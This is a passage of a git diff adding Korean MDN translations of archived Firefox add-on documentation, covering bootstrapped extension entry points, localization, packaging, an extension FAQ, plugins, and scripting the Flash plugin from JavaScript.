  1. 부가기능을  chrome:// URL로 켤 때  (매니페스트에서 content, locale, 그리고 skin 인스트럭션을 사용하세요);
  2. +
  3. 이미 있는 chrome:// URI 를 교체할 때 (override 인스트럭션을 사용하세요).
  4. +
+ +

부트스트랩 부가기능에서 모든 chrome.manifest 인스트럭션이 지원되는 것은 아닙니다. 예를 들어 XUL Overlays 는 부트스트랩 부가기능에서 사용할 수 없습니다. 더 자세한 내용은 chrome.manifest 문서를 참고하세요.

+ +

파이어폭스 10 이후 버전에서 부가기능의 xpi 파일의 최상단(install.rdf 등과 같은 위치)에 위치해 있는  chrome.manifest 파일은 자동으로 열립니다. 파이어폭스 8과 9에서 당신은 직접 {{ ifmethod("nsIComponentManager", "addBootstrappedManifestLocation") }}{{ ifmethod("nsIComponentManager", "removeBootstrappedManifestLocation") }}를 통해 매니페스트 파일을 열고 닫아야 합니다. 이 기능은 파이어폭스 8 이전 버전에서는 지원되지 않습니다.

+ +

UI를 수동으로 추가하기

+ +

만약 파이어폭스의 UI를 바꾸는 부트스트랩 확장기능을 개발하기로 했다면 여기 몇가지 제안사항이 있습니다.

+ +

우선 {{ domxref("document.getElementById()") }}를 호출해서 바꾸고자 하는 UI 엘리먼츠를 ID로 찾아야 합니다. 그 다음 UI를 추가하기 위한 조작을 합니다. 예를 들어 파이어폭스의 메뉴바에 접근하기 위해서 이렇게 합니다.  document.getElementById("main-menubar").

+ +

종료할 대마다 추가한 모든 UI를 제거해야 합니다.

+ +

부트스트랩 확장기능 만들기

+ +

확장기능이 부트스트랩이라는 것을 표시하기 위해 install manifest 에 다음 줄을 추가하세요:

+ +
<em:bootstrap>true</em:bootstrap>
+ +

그 다음 필요한 기능들이 담긴 bootstrap.js 파일을 추가합니다; 이것은 확장기능 패키지에서 install.rdf 파일과 같이 있어야 합니다.

+ +

Backward compatibility이전버전과의 호환

+ +

오래된 버전의 파이어폭스는 bootstrap 속성이나 bootstrap.js 파일을 인식하지 못하기 때문에 부트스트랩 확장기능과 전통적인 확장기능이 모두 담긴 XPI 파일을 만드는 것은 어려운 일이 아닙니다. 확장기능을 부트스트랩으로 만든 다음 오버레이를 추가하세요. 새 버전의 파이어폭스는 bootstrap.js 스크립트를 사용하면서 컴포넌트와 오버레이를 무시할 것이고 오래된 버전은 오버레이를 사용할 것입니다.

+ +

부트스트랩 진입점

+ +

bootstrap.js 스크립트는 브라우저가 확장기능을 관리할 때 호출하는 특정 함수들을 포함하고 있어야 합니다. 스크립트는 특정 샌드박스에서 실행되며 샌드박스는 확장기능이 종료되기 전까지 캐시로 남아있습니다.

+ +

startup

+ +

확장기능을 시작할 때 호출됩니다. 파이어폭스가 켜질 때, 비활성화된 확장기능이 활성화될 때 또는 업데이트를 설치하기 위해 종료되었을 때 같은 상황에서 호출됩니다. 이처럼 파이어폭스의 생명주기동안 여러번 호출될 수 있습니다.

+ +

이 함수가 호출되었을 때 부가기능은 UI를 추가하고 동작에 필요한 작업을 시작해야 합니다.

+ +
void startup(
+  data,
+  reason
+);
+
+ +
변수
+ +
+
data
+
A bootstrap data structure.
+
reason
+
 reason constants 중의 하나로 왜 확장기능이 시작되었는지를 표시합니다. APP_STARTUP, ADDON_ENABLE, ADDON_INSTALL, ADDON_UPGRADE, 또는 ADDON_DOWNGRADE 중의 하나가 됩니다.
+
+ +

shutdown

+ +

파이어폭스가 꺼질때, 확장기능이 업그레이드되거나 비활성화 될 때 처럼 확장기능이 종료할 때 호출됩니다. 추가된 UI를 제거하고 태스크는 종료하고 오브젝트는 처리해야 합니다.

+ +
void shutdown(
+  data,
+  reason
+);
+
+ +
변수
+ +
+
data
+
A bootstrap data structure.
+
reason
+
reason constants 중의 하나로 왜 확장기능이 종료되었는지를 표시합니다. APP_SHUTDOWN, ADDON_DISABLE, ADDON_UNINSTALL, ADDON_UPGRADE, 또는 ADDON_DOWNGRADE 중의 하나가 됩니다.
+
+ +

install

+ +

부트스트랩 스크립트는 확장기능이 설치, 업그레이드, 다운그레이드 되고 나서 첫번째로 startup() 함수를 호출하기 전에 호출할 install() 함수를 포함해야 합니다.

+ +
노트: 이 메소드는 확장기능이 실행되지 않으면 호출되지 않습니다; 예를 들어 확장기능이 설치되었지만 파이어폭스의 현재 버전과 호환되지 않으면 install() 함수는 확장기능이 제거되기 전까지 호환성 문제를 해결하지 않는 이상 호출되지 않습니다. 그러나 만약 확장기능이 파이어폭스에 호환되도록 업그레이드된다면 install() 함수는 그때 startup() 함수가 호출되기 전에 호출될 것입니다.
+ +
void install(
+  data,
+  reason
+);
+
+ +
변수
+ +
+
data
+
A bootstrap data structure.
+
reason
+
reason constants의 하나로 왜 확장기능이 설치되었는지 표시힙니다. ADDON_INSTALL, ADDON_UPGRADE, or ADDON_DOWNGRADE중 하나가 됩니다.
+
+ +

uninstall

+ +

이 함수는 마지막으로 shutdown() 함수가 호출되었을 때 이후 특정 버전의 확장기능이 제거되었을 때 호출됩니다. install() 이 호출되지 않았다면 이 함수는 호출되지 않습니다.

+ +
노트: uninstall() 함수는 확장기능이 비활성화 되어있거나 현재 파이어폭스와 버전이 맞지 않더라도 호출될 수 있다는 것을 기억해야 합니다. 그렇기 때문에 현재 파이어폭스에서 지원되지 않는 API들을 우아하게 다루는 것이 중요합니다. 또한 이 함수는 파이어폭스가 실행되지 않을 때 써드파티 애플리케이션이 확장기능을 제거했을 때는 호출되지 않습니다. uninstall 코드가 있는데 실행이 안될 때install() {} 만 있는것은 충분하지 않습니다. install 함수에서 몇몇 코드를 실행하던지, 최소한 install function에 이런 식으로 선언해야 합니다: function install(aData, aReason) {} 그러면 uninstall 코드가 실행될 것입니다.
+ +
노트: 부가 기능 관리자에서 부가기능의 "제거"를 클릭할 경우는 바로 uninstall 함수를 호출하진 않습니다. 왜냐하면 "취소"버튼이 있기 때문입니다. 부가기능 관리자를 닫거나 해서 "취소" 버튼이 사라지면 그때 호출됩니다.
+ +
노트: uninstall 함수는 업그레이드와 다운그레이드 시에도 호출되기 때문에  다음과 같이 표시해주어야 합니다:
+function uninstall(aData, aReason) {
+     if (aReason == ADDON_UNINSTALL) {
+          console.log('really uninstalling');
+     } else {
+          console.log('not a permanent uninstall, likely an upgrade or downgrade');
+     }
+}
+ +
void uninstall(
+  data,
+  reason
+);
+
+ +
변수
+ +
+
data
+
A bootstrap data structure.
+
reason
+
reason constants의 하나로 왜 확장기능이 제거되었는지 표시해줍니다. ADDON_UNINSTALL, ADDON_UPGRADE, 또는 ADDON_DOWNGRADE 중의 하나가 됩니다.
+
+ +

Reason 상수

+ +

부트스트랩의 함수는 reason 변수를 허용합니다. 이는 확장기능에게 왜 호출되었는지를 설명합니다. reason 상수는 다음과 같습니다:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
상수설명
APP_STARTUP1파이어폭스가 실행
APP_SHUTDOWN2파이어폭스가 종료
ADDON_ENABLE3부가기능이 활성화
ADDON_DISABLE4부가기능이 비활성화 (혹은 제거중 호출됨)
ADDON_INSTALL5부가기능이 설치됨
ADDON_UNINSTALL6부가기능이 제거됨
ADDON_UPGRADE7부가기능이 업그레이드됨
ADDON_DOWNGRADE8부가기능이 다운그레이드됨
+ +

Bootstrap data

+ +

각각의 진입점들은 부가기능의 유용한 정보를 담고 있는 간단한 데이터 구조를 갖고 있습니다. 부가기능에 대한 더 많은 정보는 AddonManager.getAddonByID()를 호출하는 것으로 알 수 있습니다. 그 데이터는 다음과 같은 속성을 갖고있는 간단한 자바스크립트 오브젝트입니다:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
속성자료형설명
idstring부가기능의 ID
versionstring부가기능의 버전
installPathnsIFile부가기능이 설치된 장소. 부가기능이 언팩되어있는지 여부에 따라 디렉터리가 될 수도 있고 XPI 파일이 될 수도 있습니다.
resourceURInsIURI부가기능의 루트를 가리키는 URI. 부가기능이 언팩되어있는지 여부에 따라 jar: 이 될 수도 있고 file: URI 이 될 수도 있습니다. {{ gecko_minversion_inline("7.0") }}
oldVersionstring과거 설치된 버전, reason이 ADDON_UPGRADE 이거나 ADDON_DOWNGRADE이고 함수가 install 이나 startup일 경우. {{ gecko_minversion_inline("22.0") }}
newVersionstring설치될 버전. reason이 ADDON_UPGRADE 이나 ADDON_DOWNGRADE이고 함수가 is shutdown 이나 uninstall일 경우. {{ gecko_minversion_inline("22.0") }}
+ +
+

노트: startup 함수의 reason이 APP_STARTUP이고 oldVersion 속성이 설정되어있지 않으면 부가기능은 파이어폭스가 시작될 때 업그레이드/다운그레이드 될 수 있습니다. 또한 어떤 상황에서는 uninstall 함수가 호출되지 않고도 업그레이드/다운그레이드가 일어난다는 것을 주의하세요.

+
+ +

부가 기능 디버거

+ +

파이어폭스 31부터 부트스트랩 부가 기능을 디버깅하기 위해서 부가 기능 디버거를 사용할 수 있습니다.

+ +

현지화 (L10n)

+ +

부트스트랩 부가기능을 현지화하는 것은 chrome.manifest 호환성이 정착된 파이어폭스 7 이후로 거의 같습니다.

+ +

JS와 JSM 파일 - 속성 파일 사용하기

+ +

.js와 .jsm 파일을 현지화하기 위해서 속성 파일을 사용해야 합니다.

+ +

필요한 최소한의 것들은:

+ +
    +
  1. 파일: install.rdf
  2. +
  3. 파일: chrome.manifest
  4. +
  5. 파일: bootstrap.js
  6. +
  7. 폴더: locale +
      +
    1. 폴더: VALID_LOCALE_HERE +
        +
      1. 파일: ANYTHING.properties
      2. +
      +
    2. +
    +
  8. +
+ +

locale 폴더 안에 지원할 각각의 언어를 위한 폴더들이 있어야 합니다; 각각의 폭더는 유효한 로케일의 이름이어야 합니다(예: en-US). 폴더 안에는 속성파일이 들어있어야 합니다. chrome.manifest 파일 안에는 이런 로케일들이 정의되어야 합니다. 예를 들어 locale 폴더 안에 en-US 폴더가 들어있을 경우 chrome.manifest 파일에는 다음 줄이 추가되어야 합니다: locale NAME_OF_YOUR_ADDON en-US locale/en-US/

+ +

여기 예가 있습니다: GitHub :: l10n-properties - 이 부가기능을 실행하면 프롬프트에 USA나 Great Britain중 당신의 로케일에 가까운 쪽이 뜰 것입니다. about:config에서  general.useragent.locale을 en-US로 바군 뒤 en-GB로 설정하고 부가기능을 비활성화 한 뒤에 활성화하면서 다른 로케일을 시험해볼 수 있습니다.

+ +

XUL과 HTML 파일 - Using Entities from DTD Files

+ +

HTML파일은 흔히 사용되지만 DTD을 사용해 번역할 수 없습니다. 변경해야 하는 것이 세가지가 있습니다:

+ +
    +
  1.  HTML 파일의 확장자를 .xhtml로 변경합니다
  2. +
  3. doctype에서 locale 폴더 속의 DTD 파일의 위치가 이런 식으로 정의되어야 합니다: <!DOCTYPE html SYSTEM "chrome://l10n/locale/mozilla.dtd">
  4. +
  5. html 태그에 xmlns 속성을 붙여야 합니다: <html xmlns="http://www.w3.org/1999/xhtml">
  6. +
+ +

최소한으로 필요한 것:

+ +
    +
  1. 파일: install.rdf
  2. +
  3. 파일: chrome.manifest
  4. +
  5. 파일: bootstrap.js
  6. +
  7. 폴더: locale +
      +
    1. 폴더: VALID_LOCALE_HERE +
        +
      1. 파일: ANYTHING.dtd
      2. +
      +
    2. +
    +
  8. +
+ +

chrome.manifest 파일은 이와 같이 내용에 대한 정의를 포함해야 합니다: content NAME_OF_YOUR_ADDON ./

+ +

chrome.manifest 파일은 또한 위의 속성 섹션처럼 locale을 가리키는 라인이 포함되어야 합니다. locale의 폴더 이름이 en-US라면chrome.manifest 파일은 다음 줄을 포함해야 합니다: locale NAME_OF_YOUR_ADDON en-US locale/en-US/

+ +

이것은 설치되면 HTML과 XUL 페이지를 열어주는 예시 부가기능입니다: GitHub :: l10n-xhtml-xul. 이것은 어떻게 현지화된 HTML파일을 옵션으로 쓸 수 있는지의 예입니다: GitHub :: l10n-html-options.  about:config에서 general.useragent.locale을 en-US로 바꾼 뒤 en-GB로 바꾸고 열린 페이지를 새로고침 하면 현지화의 변화를 알 수 있습니다.

+ +

더 읽어보기

+ + diff --git a/files/ko/mozilla/add-ons/extension_frequently_asked_questions/index.html b/files/ko/mozilla/add-ons/extension_frequently_asked_questions/index.html new file mode 100644 index 0000000000..508750dfad --- /dev/null +++ b/files/ko/mozilla/add-ons/extension_frequently_asked_questions/index.html @@ -0,0 +1,59 @@ +--- +title: Extension Frequently Asked Questions +slug: Mozilla/Add-ons/Extension_Frequently_Asked_Questions +tags: + - Add-ons + - Extensions +translation_of: Archive/Mozilla/Extension_Frequently_Asked_Questions +--- +

디버깅

+

확장기능을 디버깅하기 전에development preferences 를 올바르게 설정하시기를 권장합니다.

+

자바스크립트 디버거인 Venkman은 복잡한 디버깅 상황에서 유용한 디버거가 되어 줄 것입니다. 디버깅 하실 때, "Debug -> Exclude Browser Files" 옵션이 활성화 되어 있지 않아야 합니다.

+

 

+

어떻게하면 코드내 에러를 볼 수 있을까?

+

preference 의 javascript.options.showInConsole옵션이 true 값이 되도록 설정하시면, 모든 종류의 에러 메시지는 자바스크립트 콘솔을 통해서 보고될 것입니다.

+

어떻게하면 확장기능이 제대로 동작 하는지 확인할 수 있을까?

+

alert() 이나 dump() 함수, 또는 nsIConsoleService를 사용하실 수 있습니다.

+

왜 내가 만든 스크립트는 제대로 동작하지 않을까?

+

만약 스크립트가 예상대로 동작하지 않는다면, 자바스크립트 콘솔의 에러 메시지를 확인해 보시기를 권합니다. (어떻게하면 코드내 에러를 볼 수 있을까? 위에 있음)

+

한가지 흔한 실수는 윈도우가 완전히 로드되기 전에, 윈도우에 있는 DOM에 접근하려고 하는 것입니다. 이러한 실수는 초기화 코드가 스크립트내의 상위 레벨에서(다른 말로하면, 함수 밖에서) 실행될때 발생합니다. 이를 찾아내기 위해서는 윈도우가 완전히 로드될때까지 특정 부분의 코드가 실행되지 않도록 해주는 load event listener를 사용하시기 바랍니다.

+
function exampleBrowserStartup(event)
+{
+  // place your startup code here
+}
+window.addEventListener("load", exampleBrowserStartup, false);
+
+

웹페이지에 있는 문서를 읽어들일 수 없을 때

+

browser.xul 오버레이로 부터 현재 웹페이지의 문서를 가져올 때, 브라우저의 윈도우 문서를 읽어오도록 하는 document 를 사용하는 대신에 브라우저의 윈도우 내에 포함되어 있는 문서를 읽어오도록 하는 content.document 를 사용하시기 바랍니다. 보다 자세한 내용은 Working with windows in chrome code 에서 확인하실 수 있습니다.

+

또한, XPCNativeWrapper는 기본적으로 웹페이지에 있는 script-defined 객체에 접근하는 것과 그 외 다른 것들을 하지 못 하도록 방지해 줍니다.

+

 

+

XML 파싱에러가 났지만, 파일에 문제가 없어 보일 때

+

일반적으로 파싱에러(붉은색 문구와 붉은색 밑줄-------------^로 표시됨)는 XML에서 의미있게 사용되는 특정한 문자나 속성 값이 소스코드내에서 잘 못 사용됐을 때 발생합니다. 예를들면,

+
<button oncommand="window.open('http://example.com/q?param1=value&param2=val2')"/>
+
+

또는,

+
<script>function lesser(a,b) { return a < b ? a : b; }</script>
+
+

이러한 문제는 다음과 같은 방법으로 해결될 수 있습니다.

+
    +
  1. 에러가 발생한 문자를 XML에서 특정한 의미로 사용되지 않는 표현으로 바꾸십시오. (예: "&" -> "&amp;", "<" -> "&lt;")
  2. +
  3. (만일 텍스트 노드라면, 이를테면 스크립트) CDATA 태그로 텍스트 노드를 에워싸십시오: +
    <script><![CDATA[
    +   function lesser(a,b) {
    +     return a < b ? a : b;
    +   }
    + ]]></script>
    +
  4. +
  5. 스크립트를 다른 파일로 저장한 후, 이를 포함시키도록 하는 코드를 삽입하십시오: +
    <script type="application/x-javascript" src="our.js"/>
    +
  6. +
+

 

+

예제 코드

+

무엇인가 유용한 동작을 구현하기 위해서 필요한 코드가 있다면, 가장 쉬운 방법은 이미 그러한 동작을 구현한 확장기능 (또는 Mozilla의 일부분)을 찾아내어 살펴보는 것입니다. (XPI와 JAR 파일은 ZIP 포멧을 사용합니다.)

+

이와 관련된 문서는 the list of extension-related articles on MDCExample code page on MozillaZine에서 찾아 보실수 있습니다.

+

 

+

도움을 얻을 수 있는 곳

+

Extensions:Other ResourcesExtensions:Community를 꼭 읽어 주십시오.

+

도움을 청하시기 전에, 디버깅자바스크립트 콘솔의 내용을 읽어주십시오. 또한, 질문을 하시기 전에, 질문에 대한 간단한 검색을 해주실 것과 자주묻는질문(FAQ)을 읽어주시길 부탁드립니다.

+

{{ languages( { "es": "es/Preguntas_frecuentes_sobre_Extensiones", "fr": "fr/Foire_aux_questions_sur_les_extensions", "it": "it/Domande_frequenti_sulle_Estensioni", "ko": "ko/\ud655\uc7a5\uae30\ub2a5\uc5d0_\uad00\ud55c_\uc790\uc8fc\ud558\ub294_\uc9c8\ubb38" } ) }}

diff --git a/files/ko/mozilla/add-ons/extension_packaging/index.html b/files/ko/mozilla/add-ons/extension_packaging/index.html new file mode 100644 index 0000000000..2dd7ff02eb --- /dev/null +++ b/files/ko/mozilla/add-ons/extension_packaging/index.html @@ -0,0 +1,34 @@ +--- +title: Extension Packaging +slug: Mozilla/Add-ons/Extension_Packaging +tags: + - Add-ons + - Extensions + - Toolkit API +translation_of: Archive/Add-ons/Extension_Packaging +--- +

확장기능은 설치 가능한 번들의 한 형태입니다. 확장기능은 사용자가 직접 내려받아 설치할 수 있으며 응용프로그램에 미리 포함되어 있거나 외부 프로그램에 의해서 제공되기도 합니다. 확장기능은 chrome, components 등의 디렉토리 구조로 되어 있는데 개별 구조는 XUL 프로그램으로 확장됩니다.

+

모든 확장기능은 자신의 메타정보를 담은 install.rdf 파일을 제공해야 하는데 파일은 유일한 ID, 버전, 저자, 호환성 정보를 담고 있습니다.

+

확장기능 파일과 install.rdf가 준비된 다음 확장 기능의 설치를 위한 몇가지 준비 단계가 있습니다. 사용자 설치가능한 확장기능 디렉토리의 ZIP 포맷인 XPI(xpinstall) 파일, 사용자 응용프로그램이나 프로필 디렉토리에 확장기능을 직접 압축 풀기, 윈도우즈 레즈스트리에 확장기능을 등록의 단계입니다.

+

확장기능 XPI 만들기

+

XPI(XPInstall) 파일은 단순히 install.rdf 파일이 ZIP 파일의 최상단에 위치하는 확장기능 파일을 담은 ZIP 파일입니다. 사용자는 XPI 파일을 웹사이트나 로컬 파일에서 파일을 열거나 확장기능 관리창에 끌어 옮김으로서 내려 받거나 설치할 수 있습니다.

+

파이어폭스 XPI 파일에 대한 MIME 형은 application/x-xpinstall로 인식이 됩니다. 대부분의 HTTP 서버가 .xpi 확장기능에 대한 MIME 타입을 반환하는 설정을 기본으로 하지 않기 때문에 어쩌면 HTTP 서버를 재설정해야 할 수도 있습니다. 아파치 HTTP 서버에서는 아래의 문장을 설정 파일이나 .htaccess 파일에 삽입해야 합니다.

+
AddType application/x-xpinstall .xpi
+
+

확장기능 파일 직접 설치하기

+

만약 응용 프로그램의 위치를 알고 있다면 (예를 들어 응용 프로그램의 설치과정에 확장기능을 설치하게 할려면) 직접 <appdir>/extensions/<extensionID>에 확장 기능 파일을 직접 설치할 수 있습니다. 확장기능은 다음번 응용 프로그램이 실행될 때 확장기능 관리자에 의해 자동으로 인식됩니다.

+

이 방법을 사용할 때 디렉토리와 확장기능 파일에 대한 파일 시스템의 권한이 적절하게 설정되어 있는지 확인해야 합니다. 확장기능 관리자는 확장기능의 권한이 적합한지 아닌지 판단하는 기능이 없습니다.

+

확장기능 위치를 윈도우 레지스트리에 등록하기

+

(자바 런타임 따위의) 외부 설치자가 응용프로그램은 아직 설치되지 않은 상황에 통합적인 위치에 확장기능을 설치하고자 할 수 있습니다. 윈도우즈 레지스트리 사용을 통해 처리할 수 있습니다.

+

여러 항목을 포함한 확장기능 XPI

+

하나의 XPI 파일로 여러개의 확장과 테마를 설치하길 원할 때도 있습니다. 특별한 종류의 여러 항목을 포함한 XPI 포장라고 불리우는 특별한 형태의 XPI는 이런 패키지를 만들 수 있습니다. (Firefox 1.5/XULRunner 1.8 이상이 필요합니다.)

+

Official References for Toolkit API

+

+

diff --git a/files/ko/mozilla/add-ons/index.html b/files/ko/mozilla/add-ons/index.html new file mode 100644 index 0000000000..134b1f7e1a --- /dev/null +++ b/files/ko/mozilla/add-ons/index.html @@ -0,0 +1,116 @@ +--- +title: 부가 기능들 +slug: Mozilla/Add-ons +tags: + - 모질라 + - 부가기능 + - 애드온 + - 확장 + - 확장기능 +translation_of: Mozilla/Add-ons +--- +
{{AddonSidebar}}
+ +

애드온들은 개발자들에게 Firefox의 기능을 변형하거나 확장하게 해 줍니다. 그것들은 표준 웹 기술인 JavaScript, HTML, CSS 또는 몇가지 전용 JavaScript API들을 사용하여 만들어집니다. 이러한 것들 사이에서, 애드온은 다음과 같은 일들을 할 수 있습니다 :

+ + + +

애드온 개발하기

+ +

Firefox 애드온을 개발하는데 있어서는 현재 몇가지 툴셋들이 있습니다, 그러나 웹확장기능(WebExtensions) 이 2017년 말에 표준으로 선정될 것입니다. 나머지 툴들은 같은기간안에 지원이 중단(deprecated) 될 것으로 예상 됩니다.

+ +

이곳에서 당신은 애드온을 개발하는데 이용 가능한 옵션에 대한 정보를 찾을 수 있을 것입니다,  이로써 당신은 지금 당장과 미래에 무엇이 당신에게 가장 좋을지 결정 할 수 있을 것입니다.

+ +

새 애드온 만들기

+ +

만일 당신이 새로운 애드온을 설계한다면, 우리는 아래의 두가지 방법들 중 하나를 고를 것을 추천드립니다. 웹확장기능들의 번역이 완전해질 때까지 각각의 방법들에 대한 찬반 여론들이 있을 것입니다. 아래의 선택사항들을 읽고 당신에게 알맞는 도구를 결정하세요.

+ + + +

기존 애드온(Add-on)을 이전하기

+ +

Firefox 내년에 몇가지 변화를 겪게 됩니다. 유저들에게는 높은 브라우징 신뢰성을, 개발자들에게는 편리한 애드온 개발경험을 제공합니다. 당신이 개발한 애드온은 호환성을 유지하기위해 몇 가지 수정이 필요할 수 있습니다. 하지만 수정이 끝난 이후에는 당신의 애드온이 좀 더 높은 호환성, 안전성을 가지게 될 것입니다.

+ +

우리는 당신이 애드온을 이전할 때 필요한 도움을 제공하기 위해서 개발에 필요한 자료, 권고 사항, 운영 시간, 그리고 기타 등의 정보를 제공합니다.

+ +

애드온 이전을 시작하려면 애드온 호환성 검사를 이용해서 어떤 문제가 있는지 알아보세요.

+ +

애드온 출시하기

+ +

Addons.mozilla.org, 그러니까 일반적으로 "AMO"라 불리는 곳은, 개발자로 하여금 부가기능을 업로드하고, 사용자들이 이 부가기능을 찾아 설치할 수 있도록 만들어진 모질라재단의 공식 웹사이트입니다. AMO에 여러분이 제작한 부가기능을 업로드하여, 사용자와 제작자의 모임에 참가할 수 있게 되며, 여러분의 부가기능을 사용하는 사용자를 찾을 수 있습니다.

+ +

AMO에 여러분의 부가기능을 반드시 업로드해야 하는 것은 아니지만, Firefox 40 버전부터 여러분의 코드를 반드시 모질라 재단이나 사용자에 의해 인증받지 않으면 부가기능을 설치할 수 없게 됩니다.

+ +

여러분의 부가기능을 업로드하는 과정에 대해 자세히 알아보고 싶으시다면, 부가기능을 인증받고 배포하기 문서를 참고하세요.

+ +

애드온의 다양한 형태

+ +

Generally, when people speak of add-ons they're referring to extensions, but there are a few other add-on types that allow users to customize Firefox. Those add-ons include:

+ + + +
+

연락하세요!

+ +

아래에 소개된 링크를 통해서 자문을 구하거나, 피드백을 보내고, 애드온에 관련된 최신 소식을 접할 수 있습니다. 

+ +

Add-ons 포럼

+ +

Use the Add-ons Discourse forum to discuss all aspects of add-on development and to get help.

+ +

메일링 목록

+ +

Use the dev-addons list to discuss development of the add-ons ecosystem, including the development of the WebExtensions system and of AMO:

+ + + +

IRC

+ +

만약 당신이 IRC 애용자라면, 다음 방법들로 연락할 수도 있습니다.

+ + + +

 

diff --git a/files/ko/mozilla/add-ons/plugins/index.html b/files/ko/mozilla/add-ons/plugins/index.html new file mode 100644 index 0000000000..77ab95c032 --- /dev/null +++ b/files/ko/mozilla/add-ons/plugins/index.html @@ -0,0 +1,43 @@ +--- +title: Plugins +slug: Mozilla/Add-ons/Plugins +tags: + - Plugins +translation_of: Archive/Plugins +--- +
+

플러그인(Plugins or plug-ins) 은 어떤 특정한 기능을 제공하기 위해 웹브라우저와 상호작용하는 작은 소프트웨어입니다. 일반적인 예로는 특정한 그래픽 형식을 보여주기 위한 플러그인이나 멀티미디어 파일을 재생하기 위한 플러그인을 들 수 있습니다. 플러그인은 현재있는 기능을 수정하거나 덧붙이는 확장기능과는 조금 다릅니다. +

+
+ + +
+

문서

+
Gecko 플러그인 API 레퍼런스 +
이 레퍼런스는 Gecko 플러그인을 만들기 위한 응용프로그램 프로그래밍 인터페이스에 대해 기술하고 있으며, 이러한 인터페이스를 사용하는 방법에 대한 정보를 제공합니다. +
+
XPInstall을 이용한 플러그인 설치 +
XPInstall은 별도의 설치프로그램을 실행하기 위해 사용자가 브라우저를 종료하지 않아도 플러그인을 설치할 수 있도록 사용자에게 한결 나은 방법을 제공합니다. +
+
플러그인 검사 +
"Since there are clearly times when it makes sense to use a plug-in, the question arises of how to deal with those who don’t have the required plug-in installed." +
+
플러그인을 스크립트로 제어하기: Macromedia Flash +
이 문서에서는 JavaScript가 Flash 플러그인 내부에 있는 메소드에 접근하기 위해 어떻게 사용되었는지에 대해 설명하고, 마찬가지로 Flash 애니메이션에서 JavaScript를 호출하기 위한 FSCommands 라는 기능에 대해서도 설명합니다. +
+

모두 보기... +

+
+

커뮤니티

+
  • Mozilla 포럼 보기... +
+

{{ DiscussionList("dev-tech-plugins", "mozilla.dev.tech.plugins") }} +

+

관련 주제

+
Gecko +
+
+

Categories +

Interwiki Language Links +


+

{{ languages( { "es": "es/Plugins", "fr": "fr/Plugins", "ja": "ja/Plugins", "pl": "pl/Wtyczki", "pt": "pt/Plugins" } ) }} diff --git a/files/ko/mozilla/add-ons/plugins/macromedia_flash/index.html b/files/ko/mozilla/add-ons/plugins/macromedia_flash/index.html new file mode 100644 index 0000000000..2784594e4c --- /dev/null +++ b/files/ko/mozilla/add-ons/plugins/macromedia_flash/index.html @@ -0,0 +1,150 @@ +--- +title: Macromedia Flash +slug: Mozilla/Add-ons/Plugins/Macromedia_Flash +tags: + - Plugins +translation_of: Archive/Plugins/Scripting_Plugins_Adobe_Flash +--- +

스크립트로 제어할 수 말은 JavaScript와 플러그인이 상호 작용할 수 있다는 말입니다. 특히 Macromedia® Flash™ 플러그인은 JavaScript에서 플러그인에 접근할 수 있는 기능을 제공하고 있으며, 플러그인 안에서 JavaScript 메소드에 접근할 수도 있습니다. 이 문서는 Flash 플러그인이 노출하고 있는 메소드에 JavaScript로 접근하는 방법에 대해서, 그리고 Flash 애니메이션에서 JavaScript 함수에 접근하기 위해 FSCommand라는 기능을 사용하는 방법에 대해서 설명하고 있습니다. 이 문서는 Gecko™ 기반 웹브라우저에서 Flash 플러그인을 사용할 때의 팁에 초점을 두고 있습니다.

+ +

올바른 Flash 플러그인(과 브라우저)를 알아내기

+ +

Macromedia Flash는 Flash 6r49 버전부터 Netscape Gecko 브라우저에서 스크립트로 제어할 수 있는 기능을 제공합니다. Flash 5 같이 6r49 이전 버전은 Netscape Gecko 브라우저에서 스크립트로 제어할 수 없습니다. 그러므로 클라이언트에 설치된 Flash 버전을 알아내는 일은 Flash를 스크립트로 제어함에 있어서 아주 중요한 일입니다. Mac OS X에서는 피해야 할 문제점이 하나 더 있습니다. Mach-O 바이너리 형식을 사용하는 Camino (이전에는 Chimera였음) 브라우저, Mozilla 브라우저 최신 버전, 앞으로 나올 Netscape 브라우저들은 Flash 플러그인을 스크립트로 제어하는 기능을 사용할 수 없습니다. Macromedia가 Flash 플러그인을 수정하기 전까지는 Mac OS X에서 Gecko 기반 브라우저들은 스크립트로 Flash를 제어할 수 없습니다. 다음에 나오는 예제는 실제로 Flash 버전을 알아내는 휴리스틱(heuristic)한 방법을 보여줍니다.

+ +

예제 1: Flash 플러그인 버전을 검사하기

+ +

아래의 JavaScript는 Flash 버전을 알아내고, Netscape Gecko에서 스크립트로 제어 가능한지 알아내는 기능을 합니다.

+ +
can we have javascript in a wiki page?
+<script type="text/javascript">identifyFlash();</script>
+
+ +

일반적으로, 어느 버전 플러그인이 설치돼있는지 알아내는 JavaScript 코드는 navigator 개체(object)안의 mimeTypes 배열을 찾아봅니다. 모든 플러그인은 보통 플러그인 이름과 버전을 포함하고 있는 description 문자열을 제공합니다. Flash 플러그인의 descripton 문자열은 의미있는 정보를 뽑아낼 수 있는 표준적인 버전 번호 명명법으로 기록되어 있습니다. 예를 들어 현재 Flash 플러그인 버전은 Flash 6 r79입니다. description 문자열은 이 버전을 담고 있습니다. 이외에도 OS X에서 Mach-O 바이너리를 사용하는 브라우저에서 스크립트로 제어할 수 없는 Flash 버전은 골라낼 수 있는 방법이 필요합니다. 다행히 Netscape Gecko 기반 Mach-O 브라우저는 user-agent 문자열에 그 정보를 보여줍니다. Flash 플러그인 버전을 알아내는 알고리즘적 접근 방법은 다음과 같을 것입니다.

+ +
var plugin = navigator.mimeTypes["application/x-shockwave-flash"].enabledPlugin;
+var description = plugin.description;
+// 1.description 문자열을 구성요소 별로 나눈다
+
+var versionArray = description.match(/[\d.]+/g);
+
+// 2. Flash 버전이 6r.49보다 큰지 결정한다
+// 3. 그렇다면 Windows와 Linux에서 스크립트로 제어 가능한 버전이다
+// 4. 브라우저가 Mach-O 바이너리를 사용하는지 검사한다
+// 5. 그렇다면 플러그인 버전이 12보다 큰지 검사한다
+// 버전 12는 Mach-O 브라우저에서도 Flash 플러그인을 스크립트로 제어할 수 있게
+// 수정될 것이라 예상되는 Flash 버전이다
+
+var flashVersionOSXScriptable = 12;
+if(navigator.userAgent.indexOf("Mach-O")!=-1)
+{
+	if(flashversion < flashVersionOSXScriptable)
+		// Flash 버전이 12보다 작으므로 OS X에서 스크립트로 제어할 수 없다
+}
+// 6. 에러 처리(Flash가 설치되지 않은 경우 등)
+
+ +

